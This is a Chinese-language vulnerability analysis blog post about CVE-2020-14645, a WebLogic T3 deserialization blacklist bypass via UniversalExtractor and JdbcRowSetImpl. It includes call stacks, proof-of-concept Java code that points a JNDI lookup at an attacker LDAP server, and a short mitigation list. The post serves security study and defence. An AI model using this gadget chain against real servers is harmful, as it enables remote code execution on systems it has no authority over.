CVE-2020-14645 Weblogic UniversalExtractor Bypass ReflectionExtractor via T3 protocol
2022-12-19 18:22:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

环境搭建

参考前面的环境

T3

CVE-2020-14645

原理

这个利用方式也就是针对CVE-2020-2883的黑名单绕过,在2883那个CVE存在有两条链子,但是本质上都是通过ReflectionExtractor来调用的任意的方法,最后进行命令执行的,之后再补丁中将该类加入了黑名单中,而这里的CVE也就是在这个基础上找到了在com.tangosol.util.extractor.UniversalExtractor类中也能够进行类似的逻辑,进行黑名单的绕过

分析

因为这里就只是之前的一个CVE的一种黑名单绕过,这里对于前面就不过多的提及了,可以看看前面的分析

传送门

首先看看如果调用extract方法的,在前面的分析中,我们能够知道在ExtractorComparator这条链中

主要是通过ExtractorComparator#compare方法的调用中能够触发任意类的extract方法,所以在那条链子中就是使用的调用ChainedExtractor#extract,之后通过ReflectionExtractor来进行了命令执行

而如何调用其compare方法的呢?

主要是通过CC链的方式,通过调用PriorityQueue#readObject进而调用到了其的compare方法

贴个调用栈就行了

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

之后从漏洞的入口开始分析UniversalExtractor#extract方法中

在这里,传入的oTarget参数是我们构造的JdbcRowSetImpl类对象,为什么要设置为这个对象,我们后面会进行分析

这里,因为m_cacheTarget是一个被transient修饰的属性,所以,这里肯定是会进入else语句调用extractComplex方法

extractComplex方法的后面存在有一个能够任意调用任意类的任意方法的操作

我们倒过来看存在有什么样的限制,这里的oTarget没有任何的争议,我们是完全可控的一个类对象

重点来看看method变量的限制

解释一下子这个方法的逻辑

首先获取了oTarget这个对象的类,之后调用了getCanonicalName方法获取方法名

这里的Lambdas.getValueExtractorCanonicalName(this)因为传入的参数是this,所以会一直为null,进入if语句中去

调用CanonicalNames.computeValueExtractorCanonicalName方法来获取,传入的参数是m_sName / m_aoParam这两个属性值

分析一下具体的逻辑,首先第一个if语句就要求了必须要是一个无参的方式,之后再第一个else if语句中,如果传入的sName值不以()结尾,就直接将这个变量值进行返回

如果存在有(),进入else语句中去

其中限制了方法的前缀

必须以get / is开头的方法才能满足

之后的逻辑就是将方法中的前缀get / is和后缀()给去掉,并且将首字母给小写了进行返回

而这里也不是直接对method进行了控制,真正的控制还是需要回到extractComplex方法中

在这里fProperty如果为true,就会按照之前去除的规则,将其还原为方法名,并且调用ClassHelper.findMethod来获取对应的方法

之后就是创建了一个TargetReflectionDescriptor对象将其赋值给m_cacheTarget属性,传入的参数是clzTarget和我们前面构造的method

看到寻找getXXX开头的函数,并且具有对应的属性,我们很容易就联想到FastJson的一系列反序列化就是getXX / setXX等方法的寻找

很多,这里用的是经典的JdbcRowSetImpl

跟进看看

JdbcRowSetImpl#getDatabaseMetaData方法的调用中

调用了connect方法进行连接

在这个方法中,存在这样一串代码

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里调用getDataSourceName方法就会返回对应的属性值,之后进行lookup查询,造成了JNDI注入漏洞

贴个调用栈:

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)

POC的关键代码

这里就借用Y4er师傅的简洁点的POC

https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.153.1:1389/ogzhze");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);

修复

  1. 安装补丁
  2. 加入黑名单
  3. 限制T3 / IIOP协议

Ref

https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java


文章来源: https://xz.aliyun.com/t/11964
如有侵权请联系:admin#unsafe.sh